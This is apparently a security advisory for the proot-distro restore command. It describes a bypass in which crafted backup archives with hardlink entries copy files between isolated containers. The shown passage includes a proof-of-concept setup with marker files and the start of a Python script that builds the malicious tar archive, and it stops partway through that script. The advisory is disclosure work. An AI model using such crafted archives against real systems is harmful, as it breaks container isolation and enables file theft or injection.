GHSA-7h3g-4w2f-fj2f: proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Affected Component - Package: proot-distro - Affected command: restore - Attack surface: Host-side Termux CLI processing a user-supplied backup archive - Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write Affected Versions | Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 | Summary When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container. The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry. Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container. As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection. Proof of Concept #1 — Cross-Container File Disclosure All testing was performed using self-owned containers and harmless marker data only. Step 1 — Create a victim container and marker file proot-distro install alpine --name victim proot-distro login victim -- sh -lc ' mkdir -p /root printf "PROOF-12345\n" > /root/proof.txt ' Verification: proot-distro login victim -- cat /root/proof.txt PROOF-12345 Step 2 — Create an attacker container proot-distro install alpine --name attacker Step 3 — Build a crafted archive python3 -c ' import tarfile tf = tarfile.open("malicious.tar", "w") d = tarfile.TarInfo("attacker/rootfs/exfil") d.type = tarfile.DIRTYPE d.mode = 0o755 tf.addfile(d) h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key") h.type = tarfile.LNKTYPE h.li